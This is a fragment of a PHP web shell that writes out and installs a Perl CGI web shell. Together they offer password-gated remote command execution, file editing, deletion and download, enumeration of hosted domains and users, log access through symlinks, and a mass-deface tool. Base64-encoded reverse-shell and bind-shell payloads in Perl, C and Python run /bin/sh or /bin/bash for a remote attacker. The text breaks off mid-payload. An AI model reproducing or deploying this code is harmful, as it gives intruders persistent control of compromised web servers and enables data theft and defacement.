id=\"ba\">80</span></run></font></td>\n\n\t</tr>\n\t</table>\n\n\t<br><br>\n\t<table>\n\t<tr>\n\t<form method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>Bind Port: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\n\t<td> Port: <input type=\"text\" size=\"15\" name=\"clientport\" value=\"1412\" onkeyup=\"document.getElementById('bi').innerHTML=this.value;\">\n\n\t Password: <input type=\"text\" size=\"15\" name=\"bindpass\" value=\"THIEUGIABUON\"></td>\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Bind\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Chuc nang chua dc test!\n\t<br>[+] Try command: <run>nc \$ENV{'SERVER_ADDR'} <span id=\"bi\">1412</span></run></font></td>\n\n\t</tr>\n\t</table><br>\nEND\n}\n#------------------------------------------------------------------------------\n# Backconnect use perl\n#------------------------------------------------------------------------------\nsub BackBind\n{\n\tuse MIME::Base64;\n\tuse Socket;\t\n\t\$backperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7\";\n\t\$bindperl=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=\";\n\n\t\$ClientAddr = \$in{'clientaddr'};\n\t\$ClientPort = int(\$in{'clientport'});\n\tif(\$ClientPort eq 0)\n\t{\n\t\treturn &BackBindForm;\n\t}elsif(!\$ClientAddr eq \"\")\n\t{\n\t\t\$Data=decode_base64(\$backperl);\n\t\tif(-w \"/tmp/\")\n\t\t{\n\t\t\t\$File=\"/tmp/backconnect.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"backconnect.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl backconnect.pl \$ClientAddr \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}else\n\t{\n\t\t\$Data=decode_base64(\$bindperl);\n\t\tif(-w \"/tmp\")\n\t\t{\n\t\t\t\$File=\"/tmp/bindport.pl\";\t\n\t\t}else\n\t\t{\n\t\t\t\$File=\$CurrentDir.\$PathSep.\"bindport.pl\";\n\t\t}\n\t\topen(FILE, \">\$File\");\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\tsystem(\"perl bindport.pl \$ClientPort\");\n\t\tunlink(\$File);\n\t\texit 0;\n\t}\n}\n#------------------------------------------------------------------------------\n#  Array List Directory\n#------------------------------------------------------------------------------\nsub RmDir(\$) \n{\n\tmy \$dir = shift;\n    if(opendir(DIR,\$dir))\n\t{\n\t\twhile(\$file = readdir(DIR))\n\t\t{\n\t\t\tif((\$file ne \".\") && (\$file ne \"..\"))\n\t\t\t{\n\t\t\t\t\$file= \$dir.\$PathSep.\$file;\n\t\t\t\tif(-d \$file)\n\t\t\t\t{\n\t\t\t\t\t&RmDir(\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tunlink(\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tclosedir(DIR);\n\t}\n\tif(!rmdir(\$dir))\n\t{\n\t\t\n\t}\n}\nsub FileOwner(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$uid,\$gid) = (stat(\$file))[4,5];\n\t\tif(\$WinNT)\n\t\t{\n\t\t\treturn \"???\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$name=getpwuid(\$uid);\n\t\t\t\$group=getgrgid(\$gid);\n\t\t\treturn \$name.\"/\".\$group;\n\t\t}\n\t}\n\treturn \"???\";\n}\nsub ParentFolder(\$)\n{\n\tmy \$path = shift;\n\tmy \$Comm = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd ..\".\$CmdSep.\$CmdPwd;\n\tchop(\$path = `\$Comm`);\n\treturn \$path;\n}\nsub FilePerms(\$)\n{\n\tmy \$file = shift;\n\tmy \$ur = \"-\";\n\tmy \$uw = \"-\";\n\tif(-e \$file)\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tif(-r \$file){ \$ur = \"r\"; }\n\t\t\tif(-w \$file){ \$uw = \"w\"; }\n\t\t\treturn \$ur . \" / \" . \$uw;\n\t\t}else\n\t\t{\n\t\t\t\$mode=(stat(\$file))[2];\n\t\t\t\$result = sprintf(\"%04o\", \$mode & 07777);\n\t\t\treturn \$result;\n\t\t}\n\t}\n\treturn \"0000\";\n}\nsub FileLastModified(\$)\n{\n\tmy \$file = shift;\n\tif(-e \$file)\n\t{\n\t\t(\$la) = (stat(\$file))[9];\n\t\t(\$d,\$m,\$y,\$h,\$i) = (localtime(\$la))[3,4,5,2,1];\n\t\t\$y = \$y + 1900;\n\t\t@month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;\n\t\t\$lmtime = sprintf(\"%02d/%s/%4d %02d:%02d\",\$d,\$month[\$m],\$y,\$h,\$i);\n\t\treturn \$lmtime;\n\t}\n\treturn \"???\";\n}\nsub FileSize(\$)\n{\n\tmy \$file = shift;\n\tif(-f \$file)\n\t{\n\t\treturn -s \$file;\n\t}\n\treturn \"0\";\n\n}\nsub ParseFileSize(\$)\n{\n\tmy \$size = shift;\n\tif(\$size <= 1024)\n\t{\n\t\treturn \$size. \" B\";\n\t}\n\telse\n\t{\n\t\tif(\$size <= 1024*1024) \n\t\t{\n\t\t\t\$size = sprintf(\"%.02f\",\$size / 1024);\n\t\t\treturn \$size.\" KB\";\n\t\t}\n\t\telse \n\t\t{\n\t\t\t\$size = sprintf(\"%.2f\",\$size / 1024 / 1024);\n\t\t\treturn \$size.\" MB\";\n\t\t}\n\t}\n}\nsub trim(\$)\n{\n\tmy \$string = shift;\n\t\$string =~ s/^\\s+//;\n\t\$string =~ s/\\s+\$//;\n\treturn \$string;\n}\nsub AddSlashes(\$)\n{\n\tmy \$string = shift;\n\t\$string=~ s/\\\\/\\\\\\\\/g;\n\treturn \$string;\n}\nsub ListDir\n{\n\tmy \$path = \$CurrentDir.\$PathSep;\n\t\$path=~ s/\\\\\\\\/\\\\/g;\n\tmy \$result = \"<form name='f' action='\$ScriptLocation'><span style='font: 11pt Open Sans; font-weight: bold;'>Path: [ \".&AddLinkDir(\"gui\").\" ] </span><input type='text' name='d' size='40' value='\$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>\";\n\tif(-d \$path)\n\t{\n\t\tmy @fname = ();\n\t\tmy @dname = ();\n\t\tif(opendir(DIR,\$path))\n\t\t{\n\t\t\twhile(\$file = readdir(DIR))\n\t\t\t{\n\t\t\t\t\$f=\$path.\$file;\n\t\t\t\tif(-d \$f)\n\t\t\t\t{\n\t\t\t\t\tpush(@dname,\$file);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tpush(@fname,\$file);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclosedir(DIR);\n\t\t}\n\t\t@fname = sort { lc(\$a) cmp lc(\$b) } @fname;\n\t\t@dname = sort { lc(\$a) cmp lc(\$b) } @dname;\n\t\t\$result .= \"<div><table width='90%' class='listdir'>\n\n\t\t<tr style='background-color: #3e3e3e'><th>File Name</th>\n\t\t<th style='width:100px;'>File Size</th>\n\t\t<th style='width:150px;'>Owner</th>\n\t\t<th style='width:100px;'>Permission</th>\n\t\t<th style='width:150px;'>Last Modified</th>\n\t\t<th style='width:260px;'>Action</th></tr>\";\n\t\tmy \$style=\"line\";\n\t\tmy \$i=0;\n\t\tforeach my \$d (@dname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$d = &trim(\$d);\n\t\t\t\$dirname=\$d;\n\t\t\tif(\$d eq \"..\") \n\t\t\t{\n\t\t\t\t\$d = &ParentFolder(\$path);\n\t\t\t}\n\t\t\telsif(\$d eq \".\") \n\t\t\t{\n\t\t\t\t\$d = \$path;\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\t\$d = \$path.\$d;\n\t\t\t}\n\t\t\t\$result .= \"<tr class='\$style'>\n\n\t\t\t<td id='File_\$i' style='font: 11pt Open Sans; font-weight: bold;'><a  href='?a=gui&d=\".\$d.\"'>[ \".\$dirname.\" ]</a></td>\";\n\t\t\t\$result .= \"<td>DIR</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$d).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$d).\"','\".\$dirname.\"')\\\" ><span onclick=\\\"chmod_form(\".\$i.\",'\".\$dirname.\"')\\\" >\".&FilePerms(\$d).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$d).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$dirname','\".&AddSlashes(&AddSlashes(\$d)).\"')\\\">Rename</a>  | <a onclick=\\\"if(!confirm('Remove dir: \$dirname ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$dirname'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\tforeach my \$f (@fname)\n\t\t{\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$file=\$f;\n\t\t\t\$f = \$path.\$f;\n\t\t\t\$view = \"?dir=\".\$path.\"&view=\".\$f;\n\t\t\t\$result .= \"<tr class='\$style'><td id='File_\$i' style='font: 11pt Open Sans;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>\".\$file.\"</a></td>\";\n\t\t\t\$result .= \"<td>\".&ParseFileSize(&FileSize(\$f)).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileOwner(\$f).\"</td>\";\n\t\t\t\$result .= \"<td id='FilePerms_\$i' style='text-align:center;' ondblclick=\\\"rm_chmod_form(this,\".\$i.\",'\".&FilePerms(\$f).\"','\".\$file.\"')\\\" ><span onclick=\\\"chmod_form(\$i,'\$file')\\\" >\".&FilePerms(\$f).\"</span></td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'>\".&FileLastModified(\$f).\"</td>\";\n\t\t\t\$result .= \"<td style='text-align:center;'><a href='?a=command&d=\".\$path.\"&c=edit%20\".\$file.\"'>Edit</a> | <a href='javascript:return false;' onclick=\\\"rename_form(\$i,'\$file','f')\\\">Rename</a> | <a href='?a=download&o=go&f=\".\$f.\"'>Download</a> | <a onclick=\\\"if(!confirm('Remove file: \$file ?')) { return false;}\\\" href='?a=gui&d=\$path&remove=\$file'>Remove</a></td>\";\n\t\t\t\$result .= \"</tr>\";\n\t\t\t\$i++;\n\t\t}\n\t\t\$result .= \"</table></div>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Try to View List User\n#------------------------------------------------------------------------------\nsub ViewDomainUser\n{\n\topen (domains, '/etc/named.conf') or \$err=1;\n\tmy @cnzs = <domains>;\n\tclose d0mains;\n\tmy \$style=\"line\";\n\tmy \$result=\"<h5><font style='font: 15pt Open Sans;color: #ffffff;'>Hoang Sa - Truong Sa</font></h5>\";\n\tif (\$err)\n\t{\n\t\t\$result .=  ('<p>C0uldn\\'t Bypass it , Sorry</p>');\n\t\treturn \$result;\n\t}else\n\t{\n\t\t\$result .= '<table><tr><th>Domains</th> <th>User</th></tr>';\n\t}\n\tforeach my \$one (@cnzs)\n\t{\n\t\tif(\$one =~ m/.*?zone \"(.*?)\" {/)\n\t\t{\t\n\t\t\t\$style= (\$style eq \"line\") ? \"notline\": \"line\";\n\t\t\t\$filename= \"/etc/valiases/\".\$one;\n\t\t\t\$owner = getpwuid((stat(\$filename))[4]);\n\t\t\t\$result .= '<tr class=\"\$style\" width=50%><td>'.\$one.' </td><td> '.\$owner.'</td></tr>';\n\t\t}\n\t}\n\t\$result .= '</table>';\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# View Log\n#------------------------------------------------------------------------------\nsub ViewLog\n{\n\tif(\$WinNT)\n\t{\n\t\treturn \"<h2><font style='font: 20pt Open Sans;color: #ffffff;'>Don't run on Windows</font></h2>\";\n\t}\n\tmy \$result=\"<table><tr><th>Path Log</th><th>Submit</th></tr>\";\n\tmy @pathlog=(\n\t\t\t\t'/usr/local/apache/logs/error_log',\n\t\t\t\t'/var/log/httpd/error_log',\n\t\t\t\t'/usr/local/apache/logs/access_log'\n\t\t\t\t);\n\tmy \$i=0;\n\tmy \$perms;\n\tmy \$sl;\n\tforeach my \$log (@pathlog)\n\t{\n\t\tif(-w \$log)\n\t\t{\n\t\t\t\$perms=\"OK\";\n\t\t}else\n\t\t{\n\t\t\tchop(\$sl = `ln -s \$log error_log_\$i`);\n\t\t\tif(&trim(\$ls) eq \"\")\n\t\t\t{\n\t\t\t\tif(-r \$ls)\n\t\t\t\t{\n\t\t\t\t\t\$perms=\"OK\";\n\t\t\t\t\t\$log=\"error_log_\".\$i;\n\t\t\t\t}\n\t\t\t}else\n\t\t\t{\n\t\t\t\t\$perms=\"<font style='color: red;'>Cancel<font>\";\n\t\t\t}\n\t\t}\n\t\t\$result .=<<END;\n\t\t<tr>\n\n\t\t\t<form action=\"\" method=\"post\">\n\t\t\t<td><input type=\"text\" onkeyup=\"document.getElementById('log_\$i').value='less ' + this.value;\" value=\"\$log\" size='50'/></td>\n\t\t\t<td><input class=\"submit\" type=\"submit\" value=\"Try\" /></td>\n\t\t\t<input type=\"hidden\" id=\"log_\$i\" name=\"c\" value=\"less \$log\"/>\n\t\t\t<input type=\"hidden\" name=\"a\" value=\"command\" />\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\" />\n\t\t\t</form>\n\t\t\t<td>\$perms</td>\n\n\t\t</tr>\nEND\n\t\t\$i++;\n\t}\n\t\$result .=\"</table>\";\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Main Program - Execution Starts Here\n#------------------------------------------------------------------------------\n&ReadParse;\n&GetCookies;\n\n\$ScriptLocation = \$ENV{'SCRIPT_NAME'};\n\$ServerName = \$ENV{'SERVER_NAME'};\n\$LoginPassword = \$in{'p'};\n\$RunCommand = \$in{'c'};\n\$TransferFile = \$in{'f'};\n\$Options = \$in{'o'};\n\$Action = \$in{'a'};\n\n\$Action = \"command\" if(\$Action eq \"\"); # no action specified, use default\n\n# get the directory in which the commands will be executed\n\$CurrentDir = &trim(\$in{'d'});\n# mac dinh xuat thong tin neu ko co lenh nao!\n\$RunCommand= \$WinNT?\"dir\":\"dir -lia\" if(\$RunCommand eq \"\");\nchop(\$CurrentDir = `\$CmdPwd`) if(\$CurrentDir eq \"\");\n\n\$LoggedIn = \$Cookies{'SAVEDPWD'} eq \$Password;\n\nif(\$Action eq \"login\" || !\$LoggedIn) \t\t# user needs/has to login\n{\n\t&PerformLogin;\n}elsif(\$Action eq \"gui\") # GUI directory\n{\n\t&PrintPageHeader;\n\tif(!\$WinNT)\n\t{\n\t\t\$chmod=int(\$in{'chmod'});\n\t\tif(!(\$chmod eq 0))\n\t\t{\n\t\t\t\$chmod=int(\$in{'chmod'});\n\t\t\t\$file=\$CurrentDir.\$PathSep.\$TransferFile;\n\t\t\tchop(\$result= `chmod \$chmod \"\$file\"`);\n\t\t\tif(&trim(\$result) eq \"\")\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\n\t\t}\n\t}\n\t\$rename=\$in{'rename'};\n\tif(!\$rename eq \"\")\n\t{\n\t\tif(rename(\$TransferFile,\$rename))\n\t\t{\n\t\t\tprint \"<run> Done! </run><br>\";\n\t\t}else\n\t\t{\n\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t}\n\t}\n\t\$remove=\$in{'remove'};\n\tif(\$remove ne \"\")\n\t{\n\t\t\$rm = \$CurrentDir.\$PathSep.\$remove;\n\t\tif(-d \$rm)\n\t\t{\n\t\t\t&RmDir(\$rm);\n\t\t}else\n\t\t{\n\t\t\tif(unlink(\$rm))\n\t\t\t{\n\t\t\t\tprint \"<run> Done! </run><br>\";\n\t\t\t}else\n\t\t\t{\n\t\t\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t\t\t}\t\t\t\n\t\t}\n\t}\n\tprint &ListDir;\n\n}\nelsif(\$Action eq \"command\")\t\t\t\t \t# user wants to run a command\n{\n\t&PrintPageHeader(\"c\");\n\tprint &ExecuteCommand;\n}\nelsif(\$Action eq \"save\")\t\t\t\t \t# user wants to save a file\n{\n\t&PrintPageHeader;\n\tif(&SaveFile(\$in{'data'},\$in{'file'}))\n\t{\n\t\tprint \"<run> Done! </run><br>\";\n\t}else\n\t{\n\t\tprint \"<run> Sorry! You dont have permissions! </run><br>\";\n\t}\n\tprint &ListDir;\n}\nelsif(\$Action eq \"upload\") \t\t\t\t\t# user wants to upload a file\n{\n\t&PrintPageHeader;\n\n\tprint &UploadFile;\n}\nelsif(\$Action eq \"backbind\") \t\t\t\t# user wants to back connect or bind port\n{\n\t&PrintPageHeader(\"clientport\");\n\tprint &BackBind;\n}\nelsif(\$Action eq \"bruteforcer\") \t\t\t# user wants to brute force\n{\n\t&PrintPageHeader;\n\tprint &BruteForcer;\n}elsif(\$Action eq \"download\") \t\t\t\t# user wants to download a file\n{\n\tprint &DownloadFile;\n}elsif(\$Action eq \"checklog\") \t\t\t\t# user wants to view log file\n{\n\t&PrintPageHeader;\n\tprint &ViewLog;\n\n}elsif(\$Action eq \"domainsuser\") \t\t\t# user wants to view list user/domain\n{\n\t&PrintPageHeader;\n\tprint &ViewDomainUser;\n}elsif(\$Action eq \"logout\") \t\t\t\t# user wants to logout\n{\n\t&PerformLogout;\n}\n&PrintPageFooter;");
            fwrite($htcgi, $isi_htcgi);
            chmod($file_cgi, 0755);
            chmod($memeg, 0755);
            echo "<br><center>Done ... <a href='priv_cgi/cgi.priv' target='_blank'>Click Here</a></div>";
            hardFooter();
        }
        // Mass Deface Section Start
        function actionSql()
        {
            hardHeader();
            echo "<center><h1>Mass Tools</h1><div class=content><br>";
            echo "<br><center> <iframe src='?mas' width='800' height='450'></iframe></a></div>";
            hardFooter();
        }
        // Mass Deface Section END
        // Back COnnect SEction
        function actionNetwork()
        {
            hardHeader();
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
            $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
            $bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
            $pyy = "IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==";
            $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2x